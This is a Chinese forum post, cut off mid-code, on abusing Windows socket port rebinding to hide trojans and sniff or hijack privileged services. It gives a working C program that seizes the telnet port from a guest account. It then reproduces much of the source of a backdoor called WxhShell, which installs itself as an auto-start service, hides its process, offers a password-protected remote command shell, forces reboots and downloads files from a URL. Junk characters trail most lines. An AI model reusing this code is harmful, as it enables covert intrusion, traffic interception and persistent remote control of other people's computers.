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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^(&2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -v9(43  
IG0_  
  saddr.sin_family = AF_INET; !$HuH6_[  
05ZYOs}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pW ~;B*hF  
87[o^)8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w'}s'gGE  
3R/6/+S-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~^.,Ftkb@7  
{Q/@Y.~<  
  这意味着什么?意味着可以进行如下的攻击: u&p8S#e  
^I/(9KP#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -rsS_[$2  
^Whc<>|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jEKa9rt  
0(&uH0x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9I 6^-m@:  
"^t7]=q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4oF,;o+v\4  
2^s&#@n3t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qbnlD\  
S ?t `/"O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vasw@Uto)  
TJ>YJ D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kk126?V]_  
e77s?WxbK  
  #include W9cvxsox  
  #include H?opG<R=ek  
  #include fx 08>r   
  #include    L,_U co  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I-.? qcy~  
  int main() gu3)HCZ  
  { CWs;1`aP  
  WORD wVersionRequested; yq3"VFh3d  
  DWORD ret; 9^S rOW6~  
  WSADATA wsaData; W(ZEqH2  
  BOOL val; pnz@;+f  
  SOCKADDR_IN saddr; #O^zA`D   
  SOCKADDR_IN scaddr; .f!'> _  
  int err; 3s BWtz  
  SOCKET s; ^?%ThPo_  
  SOCKET sc; EHe-wC  
  int caddsize; fR.raI4et  
  HANDLE mt; PmId #2f  
  DWORD tid;   a[^dK-  
  wVersionRequested = MAKEWORD( 2, 2 ); D622:Y886  
  err = WSAStartup( wVersionRequested, &wsaData ); Zo-Au  
  if ( err != 0 ) { z"5e3w  
  printf("error!WSAStartup failed!\n"); \i~5H]?d  
  return -1; K~L"A]+  
  } E3Z>R=s  
  saddr.sin_family = AF_INET; " 6$+B/5  
   g 'L$m|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^(xVjsHp#  
yyR@kOGga  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Zfu" 8fX  
  saddr.sin_port = htons(23); K6<1&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w*SFQ_6YE  
  { u@wQ )^  
  printf("error!socket failed!\n"); bv[*jr;45  
  return -1; fZd~},X  
  } Rx<[bohio  
  val = TRUE; $AFiPH9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e ]>{?Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u*;53 43  
  { *7Sg8\wDn  
  printf("error!setsockopt failed!\n"); gp'n'K]  
  return -1; gvZLW!={  
  } qfY=!|O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /|e"0;{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;LT#/t)}<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q~*3Z4)j  
9]8M {L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WY~}sE  
  { yC=vTzzp  
  ret=GetLastError(); 7L:R&W6  
  printf("error!bind failed!\n"); qf] OSd  
  return -1; `|JQ)!Agx  
  } Y@%6*uTLa  
  listen(s,2); m4P=,=%  
  while(1) Df/f&;`  
  { Q^V`%+  
  caddsize = sizeof(scaddr); dR /UXzrc  
  //接受连接请求 w_J`29uc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >BQF<  
  if(sc!=INVALID_SOCKET) 4sK|l|W  
  { NU/~E"^I.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1[`l`Truz  
  if(mt==NULL) nBiA=+'v  
  { s.dn~|a  
  printf("Thread Creat Failed!\n"); [76mgj!K  
  break; f{Y|FjPp=E  
  } m9>nv rQ  
  } *t|j+*c}  
  CloseHandle(mt); .'AHIR&>  
  } u&I~%s  
  closesocket(s); ~(0Y`+gC  
  WSACleanup(); CM's6qhQnn  
  return 0; )@`w^\E_~_  
  }   ZCJ8I  
  DWORD WINAPI ClientThread(LPVOID lpParam) s_h <  
  { ow`c B  
  SOCKET ss = (SOCKET)lpParam; B&Ci*#e  
  SOCKET sc; 8QZk0O  
  unsigned char buf[4096]; A8eli=W  
  SOCKADDR_IN saddr; qaGIU`}:$A  
  long num; nt[0krG  
  DWORD val; " Gn; Q-@  
  DWORD ret; U ._1'pW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =yNHJHRA#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #XY]@V\  
  saddr.sin_family = AF_INET; c!\y\r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $BBfsaJPT  
  saddr.sin_port = htons(23); /s*>V@Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u]MF r2  
  { G7/LYTT)  
  printf("error!socket failed!\n"); Z/RUrYeb  
  return -1; n _ez6{  
  } GRV9s9^  
  val = 100; j1iC1=`ZM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a@r K%Iff  
  { D3lYy>~d5;  
  ret = GetLastError(); 80]TKf>  
  return -1; kWz%v  
  } rqh,BkQ0t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1k%ko?  
  { Yh%wf3 UEO  
  ret = GetLastError(); *wF:Q;_<z  
  return -1; g4$%)0x%  
  } 1W!n"3#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0 De M  
  { mVL,J=2  
  printf("error!socket connect failed!\n"); E;d 5$  
  closesocket(sc); eB@i)w?@o  
  closesocket(ss); =K>Z{% i  
  return -1; I2DmM"-|  
  } aC$g(>xFt  
  while(1) B+DRe 8  
  { 835Upj>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 CGe'z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lM1!2d'P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !^fJAtCN]  
  num = recv(ss,buf,4096,0); ;VFr5.*x  
  if(num>0) lqCn5|S]  
  send(sc,buf,num,0); EXFxiw  
  else if(num==0) rYS D-Kq  
  break; *f#4S_ws`  
  num = recv(sc,buf,4096,0); q |^O  
  if(num>0) 0amz#VIB<u  
  send(ss,buf,num,0); 1DcarF  
  else if(num==0) k51s*U6=  
  break; O({_x@  
  } S7q &|nI  
  closesocket(ss); ,< icW &a  
  closesocket(sc); uWInx6p  
  return 0 ; QPcB_wUqu  
  } kZ.3\  
)IhY&?jk?  
|\(/dXXP  
========================================================== %UJ4wm  
` ;=Se_  
下边附上一个代码,,WXhSHELL #"{8Z&Z  
Lb{D5k*XU  
========================================================== y&Hh8|'mC  
5#o,]tP  
#include "stdafx.h" (*x "6)`  
L-R}O 8  
#include <stdio.h> ] zY  
#include <string.h> FOA%( 5$4  
#include <windows.h> Wu&Di8GhP  
#include <winsock2.h> u" g p">  
#include <winsvc.h> m'B6qy!}6  
#include <urlmon.h> MX0B$yc$  
T!a[@,)_  
#pragma comment (lib, "Ws2_32.lib") j1kc&(  
#pragma comment (lib, "urlmon.lib") `x VA]GR4c  
zNf5OItx  
#define MAX_USER   100 // 最大客户端连接数 UIj/Id  
#define BUF_SOCK   200 // sock buffer %$x FnGb  
#define KEY_BUFF   255 // 输入 buffer 6 {Z\cwP)c  
):@%xoF5  
#define REBOOT     0   // 重启 :GYv9OG  
#define SHUTDOWN   1   // 关机 s- V$N  
/6c10}f  
#define DEF_PORT   5000 // 监听端口 P[K=']c  
m^.C(}  
#define REG_LEN     16   // 注册表键长度 %4Zy1{yKs_  
#define SVC_LEN     80   // NT服务名长度 jf/9]`Hf  
k#) .E X  
// 从dll定义API $IT9@}*{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wcf_5T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ACYn87tq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rfi`Bp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FO=1P7  
uCfp+  
// wxhshell配置信息 [;AcV73  
struct WSCFG { }AqD0Qd2Hj  
  int ws_port;         // 监听端口 AyO|9!F@A  
  char ws_passstr[REG_LEN]; // 口令 _[o^23Hj  
  int ws_autoins;       // 安装标记, 1=yes 0=no K:@=W1  
  char ws_regname[REG_LEN]; // 注册表键名 I}IW!K  
  char ws_svcname[REG_LEN]; // 服务名 2QRn c"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QZox3LM1&.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }z+"3A|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [1^wy#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yo,!u\^x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r&sOM_BUF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p&mtKLv  
G9inNz*Cx  
}; yWtr,  
!y~b;>887  
// default Wxhshell configuration j]"xck  
struct WSCFG wscfg={DEF_PORT, !@Lc/'w  
    "xuhuanlingzhe", k#*yhG,]'  
    1, #aX@mPm  
    "Wxhshell", SqF.DB~  
    "Wxhshell", 4"x;XVNM[  
            "WxhShell Service", iBC>w+t14  
    "Wrsky Windows CmdShell Service", QS*cd|7J;  
    "Please Input Your Password: ", !F#aodM1N  
  1, qjzW9yV+  
  "http://www.wrsky.com/wxhshell.exe", i?dKmRp(@y  
  "Wxhshell.exe" S)@vl^3ec  
    }; ld}$Tsy0  
A i){,nh`0  
// 消息定义模块 >wO$Vu `t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "nno)~)u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _i@eOqoC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B~z g"  
char *msg_ws_ext="\n\rExit."; .<^Y E%  
char *msg_ws_end="\n\rQuit."; /'fDXSdP  
char *msg_ws_boot="\n\rReboot..."; f\U&M,L\ '  
char *msg_ws_poff="\n\rShutdown..."; @[lc0_ b  
char *msg_ws_down="\n\rSave to "; 7O{O')o!  
AWXpA1(  
char *msg_ws_err="\n\rErr!"; A=d$ir K[  
char *msg_ws_ok="\n\rOK!"; 6H,=S`V]EK  
)2Ru!l#  
char ExeFile[MAX_PATH]; YQdX>k  
int nUser = 0; Wd56B+  
HANDLE handles[MAX_USER]; PFy;qk  
int OsIsNt; 65#:2,s  
?VP!1O=J  
SERVICE_STATUS       serviceStatus; / &D$kxz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \R\@t] >Y  
DE\bYxJ  
// 函数声明 q,+kPhHEgy  
int Install(void); t`YZ)>Ws  
int Uninstall(void); aC~n:0 v  
int DownloadFile(char *sURL, SOCKET wsh); F*JvpI[7n  
int Boot(int flag); (2bZ]  
void HideProc(void); x>,F*3d3  
int GetOsVer(void); ]'!xc9KGR  
int Wxhshell(SOCKET wsl); 83ic@[  
void TalkWithClient(void *cs); S50x0$%<W  
int CmdShell(SOCKET sock); 6eYf2sZ;J  
int StartFromService(void); =l2Dm  
int StartWxhshell(LPSTR lpCmdLine); uV}WSoq[  
66@3$P%1p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s7nX\:Bw:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h<' 5q&y  
Oqpl2Y"/  
// 数据结构和表定义 -jtC>_/  
SERVICE_TABLE_ENTRY DispatchTable[] = u@_!mjXQ  
{ t_>bTcsU  
{wscfg.ws_svcname, NTServiceMain}, o;4e)tK  
{NULL, NULL} ~@uY?jr  
}; TF0-?vBWh  
koEX4q  
// 自我安装 UcLNMn|  
int Install(void) VMZ]n%XRXW  
{ }pE~85h4M  
  char svExeFile[MAX_PATH]; zP(=,)d  
  HKEY key; v V6Lp  
  strcpy(svExeFile,ExeFile); SU%rWH  
K+@eH#Cv,(  
// 如果是win9x系统,修改注册表设为自启动 ]8m_*I!  
if(!OsIsNt) { YP#AB]2\}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n^pZXb;Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A?IZ( Zx(`  
  RegCloseKey(key); B(\r+"PB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { me:|!lI7YU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &xBK\  
  RegCloseKey(key); BnaU)E h  
  return 0; ,> (bt%b  
    } x #tu  
  } V(2j*2R!  
} _@/C~  
else { _h1 HuL  
O/Y\ps3r  
// 如果是NT以上系统,安装为系统服务 C?60`^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +eBMn(7Cgv  
if (schSCManager!=0) YF! &*6m  
{ JU'WiR bcb  
  SC_HANDLE schService = CreateService lQdnL.w$.4  
  ( 6/mkJj+"  
  schSCManager, r!.+XrYg  
  wscfg.ws_svcname, i,'Ka[6   
  wscfg.ws_svcdisp, OS"{"P  
  SERVICE_ALL_ACCESS, ^s2m\Q(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6i]Nr@1C  
  SERVICE_AUTO_START, Z[k#AgC)  
  SERVICE_ERROR_NORMAL, oT|P1t.  
  svExeFile, j(%gMVu  
  NULL, 'z-;*!A}j  
  NULL, lP@)   
  NULL, (~ ]g,*+  
  NULL, xA&  
  NULL pG!(6V-x<E  
  ); nrTv=*tDj  
  if (schService!=0) h eE'S/  
  { WjY{rM,K  
  CloseServiceHandle(schService); [Y22Wi  
  CloseServiceHandle(schSCManager); fwi};)K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i!Dh &XT  
  strcat(svExeFile,wscfg.ws_svcname); !_U37Uj<m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [arTx ^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hz]4AS  
  RegCloseKey(key); *b Ci2mbm@  
  return 0; a1g6}ym\  
    } dNUR)X#e  
  } vXy uEEe  
  CloseServiceHandle(schSCManager); *|LbbRu  
} E[jXUOu-  
} 6.U  "_%  
)@Zc?Da  
return 1; C#Hcv*D  
} ~5r=FF6  
Ig1lol:;  
// 自我卸载 <H5n>3#pH  
int Uninstall(void) aFRTNu/r  
{ (]3ERPn#y  
  HKEY key; Hs"% S  
(px*R~}  
if(!OsIsNt) { Sc&)~h}YF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1z~k1usRK  
  RegDeleteValue(key,wscfg.ws_regname); &GdL 9!hH  
  RegCloseKey(key); r]k*7PK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mb0n}I_AC  
  RegDeleteValue(key,wscfg.ws_regname); Ky[bX  
  RegCloseKey(key); kqVg2#<@M  
  return 0; [3j$ 4rP  
  } [ 8F \;  
} F8{ldzh  
} M`0(!Q}  
else { ]u rK$   
F+ffl^BQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ";PG%_(  
if (schSCManager!=0) Ro'jM0(KE  
{ Md8(`@`o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  6Xdtr  
  if (schService!=0)  d?:`n 9`  
  { r0F_;  
  if(DeleteService(schService)!=0) { bK3B3r#$  
  CloseServiceHandle(schService); |}_gA  
  CloseServiceHandle(schSCManager); H1` rM^,%A  
  return 0; \#PP8  
  } HUj+-  
  CloseServiceHandle(schService); [O^}rUqq  
  } N0=-7wMk(Z  
  CloseServiceHandle(schSCManager); CE~r4  
} f%2%T'Q  
} hzaLx8L  
:3*`IB !  
return 1; U r^YG4(  
} C/F@ ]_y  
L)q`D2|'  
// 从指定url下载文件 @&?a]>L  
int DownloadFile(char *sURL, SOCKET wsh) W|;nJs:e  
{ C@%iQ]=  
  HRESULT hr; jEUx q%BH  
char seps[]= "/"; fO*)LPen.z  
char *token; " Wp   
char *file; <O;&qT*b  
char myURL[MAX_PATH]; qh%i5Mu  
char myFILE[MAX_PATH]; oG!6}5  
"?$L'!bM@  
strcpy(myURL,sURL); A&N$tH  
  token=strtok(myURL,seps); /sy-;JDnsu  
  while(token!=NULL) csYy7uzi  
  { r+o_t2_b*  
    file=token; X*0k>j  
  token=strtok(NULL,seps); 4Mk8Cpz  
  } Y|mW.  
1{^CfamF  
GetCurrentDirectory(MAX_PATH,myFILE); [!W5}=^H  
strcat(myFILE, "\\"); R;WW f.#  
strcat(myFILE, file); Q-[3j  
  send(wsh,myFILE,strlen(myFILE),0); a;%I\w;2  
send(wsh,"...",3,0); 5)w4)K-%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SGt5~T xj  
  if(hr==S_OK) W:WQaF`2x  
return 0; cI5N"U@yN  
else Tj=gRQ2v  
return 1; UL&} s_  
> 84e`aGE  
} 4 bn t=5]  
*t^eNUA  
// 系统电源模块 NN^QUB  
int Boot(int flag) \UOm]z  
{ k!&:(]  
  HANDLE hToken; z^'n* h  
  TOKEN_PRIVILEGES tkp; 7m\vRMK  
-!l^]MU  
  if(OsIsNt) { L ${m/@9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :WVSJ,. !  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OZ=Cp$  
    tkp.PrivilegeCount = 1; DE%fF,Hk3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VrVDm*AGQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @a0Q0M  
if(flag==REBOOT) { 975 _d_U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p+$+MeBz  
  return 0; &Y+e=1a+  
} QCWf.@n  
else {  7SaiS_{:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WVOoHH  
  return 0; 0Q7MM6  
} sdrWOq  
  } rS4%$p"  
  else { !~)90Z!  
if(flag==REBOOT) { u\f3qc,]F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S nW7x  
  return 0; ~T% Ui#Gc  
} H;QA@tF>5  
else { Pubv$u2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q(gjT^aN  
  return 0; j1A|D   
} !.*iw k`  
} 9p4y>3  
X &D{5~qC  
return 1; NEw $q4  
} ~cIl$b  
a$}NW.  
// win9x进程隐藏模块 ytiyF2Kp  
void HideProc(void) o,1Dqg4P3  
{ 3 <9{v  
ET.dI.R8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hCAZ{+`z  
  if ( hKernel != NULL ) KzNm^^#/$A  
  { OM)3Y6rK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ALXTR%f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TdFT];:  
    FreeLibrary(hKernel); b1xpz1  
  } &))\2pl  
0elxA8Z~e  
return; wx*1*KZ  
} BZ+;n |<r  
6WeM rWx  
// 获取操作系统版本 !p',Za   
int GetOsVer(void) 7 \X$7  
{ {~_ Y _-  
  OSVERSIONINFO winfo; RkA8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WI&lj<*  
  GetVersionEx(&winfo); gw+eM,Yp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gfN2/TDC]P  
  return 1; !zR)D|w&  
  else w#9_eq|3  
  return 0; n'M>xq_  
} w"~<h;  
8Q=ZH=SQK  
// 客户端句柄模块 : y1Bt+Fp  
int Wxhshell(SOCKET wsl) '1-maM\r  
{ =ewyQ  
  SOCKET wsh; aCl A{  
  struct sockaddr_in client; g*J@[y;  
  DWORD myID; ~x#vZ=]8  
N}x9N.  
  while(nUser<MAX_USER) |55dbL$w  
{ JNi=`X&A  
  int nSize=sizeof(client); "}zt`3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  q=4Bny0  
  if(wsh==INVALID_SOCKET) return 1; Q|c|2byb  
i%F<AY\O)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z!_n_F k  
if(handles[nUser]==0) n Q-mmY>#  
  closesocket(wsh); R,,Qt TGB  
else (`c G  
  nUser++; DpvrMI~I_  
  } <#*.}w~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3{ "O,h  
.3X Y&6  
  return 0; A gWPa.'3  
} d:rGyA]  
$FX,zC<=  
// 关闭 socket g`[$Xi R  
void CloseIt(SOCKET wsh) R\O.e  
{ x+7*ADKb  
closesocket(wsh); l'"'o~MC  
nUser--; v0LGdX)/Y  
ExitThread(0); FnE6?~xa  
} G3a7`CD  
wxdyF&U n  
// 客户端请求句柄 24B<[lSK  
void TalkWithClient(void *cs) iKAusWj  
{ +TSSi em  
v* ~3Z1  
  SOCKET wsh=(SOCKET)cs; suVmg-d  
  char pwd[SVC_LEN]; FFvCi@oT  
  char cmd[KEY_BUFF]; *x(Jq?5O7X  
char chr[1]; >2lwWXA  
int i,j; zK;XF N#U^  
e;(  
  while (nUser < MAX_USER) { VaR/o#  
E!mmLVa9  
if(wscfg.ws_passstr) { qZ+H5AG2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v&;:^jJ8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D*2\{W/  
  //ZeroMemory(pwd,KEY_BUFF); Gu;OV LR|  
      i=0; bRsTBp;R`I  
  while(i<SVC_LEN) { -6C +LbV  
r*XLV{+4  
  // 设置超时 q>s`uFRg(  
  fd_set FdRead; ,:GN;sIXg  
  struct timeval TimeOut; D$q'FZH  
  FD_ZERO(&FdRead); RN9;kB)c  
  FD_SET(wsh,&FdRead); RUo9eQIPD  
  TimeOut.tv_sec=8; -LWK*q[J;*  
  TimeOut.tv_usec=0; +B"0{>n}F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;rR/5d1!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %!|O.xxRR  
E^CiOTN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lm0N5(XP  
  pwd=chr[0]; Tv$sqVe9  
  if(chr[0]==0xd || chr[0]==0xa) { $[ z y  
  pwd=0; wT_h!W  
  break; $kPHxD!"  
  } ^3~e/PKM  
  i++; ^?GmrHC)  
    } y7lWeBnC  
[TTSA2  
  // 如果是非法用户,关闭 socket WNy3@+@GZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 46No%cSiG  
} A)NkT`<)  
=RKSag&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bF-"tm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VaLs`q&3>  
E6A /SVp  
while(1) { -x*2t;%z{U  
B\CN<<N>dD  
  ZeroMemory(cmd,KEY_BUFF); o\=n4;S  
HdX2YPYn;  
      // 自动支持客户端 telnet标准   8%:]W^  
  j=0; ))T>jh   
  while(j<KEY_BUFF) {  .\:J~(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  $xgBKD  
  cmd[j]=chr[0]; \'v(Xp6  
  if(chr[0]==0xa || chr[0]==0xd) { Z-X?JA\&  
  cmd[j]=0; {?8B,G2r  
  break; 7E7dSq  
  } @cD uhK"U}  
  j++; *?% k#S  
    } egR-w[{  
!8RwO%c(  
  // 下载文件 WO*9+\[v  
  if(strstr(cmd,"http://")) { o l ({AYB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sen=0SB/  
  if(DownloadFile(cmd,wsh)) =o7}]k7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4P8*k[.  
  else Jjm|9|C,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K[?Xm"4  
  } n1v5Q2xw  
  else { g@ith&*=h  
,xsH|xW  
    switch(cmd[0]) { nE W31 8  
  sRhKlUJG  
  // 帮助 *_-'/i  
  case '?': { b[ w;i]2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !CY&{LEYn0  
    break; [iS$JG-  
  } iCQ>@P]nE  
  // 安装 8|g<X1H{M  
  case 'i': { 8y2+&#$  
    if(Install()) dK9Zg,DZL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  kLP0{A  
    else UQ?%|y*Kc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xrqx\X  
    break; A[N{  
    } 6 ,b"  
  // 卸载 j<yiNHC  
  case 'r': { P 7D!6q  
    if(Uninstall()) F7}-!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YwDt.6(+,  
    else ^QX bJJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dm0a.J v  
    break; n6Z|Q@F  
    } `ldz`yu6++  
  // 显示 wxhshell 所在路径 Me3dpF  
  case 'p': { 2DDsWJ;  
    char svExeFile[MAX_PATH]; e@<?zS6  
    strcpy(svExeFile,"\n\r"); /n,a?Ft^N)  
      strcat(svExeFile,ExeFile); 6" B%)0  
        send(wsh,svExeFile,strlen(svExeFile),0); 5<YzalNf  
    break; bn9;7`>.  
    } zw@'vncc  
  // 重启 o^p  
  case 'b': { M[]A2'fS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X` YwP/D  
    if(Boot(REBOOT)) ]+ Ixi o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HLK@xKD<  
    else { )xU-;z0"~  
    closesocket(wsh); 6;b9swmh  
    ExitThread(0); XP?rOOn  
    } ssQ BSbx  
    break; 2\<.0  
    } p s|)cW3`  
  // 关机 1R%1h9I4'  
  case 'd': { ro~+j}*   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .?W5{U  
    if(Boot(SHUTDOWN)) Tny> D0Z#  
